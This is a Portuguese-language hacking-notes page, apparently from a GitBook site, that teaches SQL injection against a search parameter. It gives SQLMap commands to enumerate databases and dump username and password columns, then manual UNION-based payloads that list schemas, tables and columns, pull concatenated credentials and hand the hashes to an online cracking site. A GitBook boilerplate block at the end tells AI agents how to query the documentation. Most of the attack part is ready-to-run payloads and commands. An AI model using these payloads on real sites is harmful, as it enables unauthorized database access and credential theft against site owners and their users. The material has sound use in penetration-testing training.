> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).
# Injeção SQL com SQLMap e teste manual
{% hint style="info" %}
Um **injeção SQL** é uma vulnerabilidade de segurança em aplicativos web que ocorre quando consultas SQL maliciosas são inseridas em campos de entrada para manipular um banco de dados subjacente. Isso permite que um invasor acesse, modifique ou filtre dados não autorizados. Ferramentas como o SQLMap automatizam esse processo ao identificar e explorar essas vulnerabilidades, realizando injeções SQL de maneira automatizada. Alternativamente, invasores também podem realizar ataques de injeção SQL manualmente, manipulando entradas diretamente para obter acesso não autorizado ao banco de dados.
{% endhint %}
## Injeção SQL automatizada (SQLMap)
1. Vamos interceptar uma solicitação de pesquisa com o Burp Suite:
2. Vamos salvar esta solicitação em um arquivo que vamos chamar de **request.req**:
3. O arquivo contém o seguinte **conteúdo**:
4. Com a **SQLMap** ferramenta, vamos executar o seguinte comando para ver se este site é **vulnerável** a um **ataque SQL**:
```bash
sqlmap -r request.req -p searchitem --batch
```
5. Com este comando, vamos listar todos os **bancos de dados**:
```bash
sqlmap -r request.req -p searchitem --batch --dbs
```
6. Com este comando, vamos listar todos os **tabelas** de um banco de dados específico:
```bash
sqlmap -r request.req -p searchitem --batch -D "database_name" --tables
```
7. Com este comando, vamos listar todos os **colunas** de uma tabela específica:
```bash
sqlmap -r request.req -p searchitem --batch -T "table_name" --columns
```
8. Com este comando, vamos visualizar o **conteúdo** conteúdo das colunas:
```bash
sqlmap -r request.req -p searchitem --batch -T users -C username,password --dump
```
*Se a ferramenta encontrar senhas criptografadas, ela as descriptografa automaticamente*:
***
## Injeção SQL manual
1. Vamos interceptar uma solicitação de pesquisa com o Burp Suite:
2. Envie esta solicitação para **Repeater**:
3. No **searchitem** campo de pesquisa, adicione isto:
```bash
test' order by 100-- -
```
4. O servidor web nos informa que há **não tantas colunas**:
5. Vamos tentar **até não sobrar mais nada** (neste caso, há 5 colunas):
6. Agora sabemos que há **5 colunas**, agora com a **union** função, vamos **visualizar** elas:
```arduino
test' union select 1,2,3,4,5-- -
```
* No caso de **alterar o nome** da 3ª coluna, por exemplo "test", ele **também mudará**:
7. Isso significa que, se introduzirmos a **database()** ou **user()** função, o **nome do banco de dados** ou o **nome de usuário que executa o banco de dados** será exibido:
**ABAIXO ESTÁ O PROCEDIMENTO PARA LISTAGEM MANUAL:**
1. Vamos listar todos os **bancos de dados**:
```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```
2. Vamos listar todas as **tabelas** de um banco de dados específico:
```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```
3. Vamos listar todas as **colunas** de uma tabela específica:
```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```
4. Vamos visualizar o **conteúdo das colunas username e password** (neste caso, usamos as colunas "product name" e "product type"):
```arduino
test' union select 1,username,password,4,5 from users-- -
```
* Vamos listar os **conteúdo das colunas username e password** novamente:
```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```
5. **Vamos copiar o conteúdo** para a seção Pretty do Burp Suite:
6. Vamos abrir o **Nvim** editor de texto e colar o texto copiado, depois usar este comando para formatá-lo corretamente: `:%s/,//r/g`
7. Com este comando, vamos manter apenas os hashes e copiá-los para a **área de transferência**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`
8. Por fim, com o [Hashes.com](https://hashes.com/en/decrypt/hash) site, obtenha as senhas em **texto simples**:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.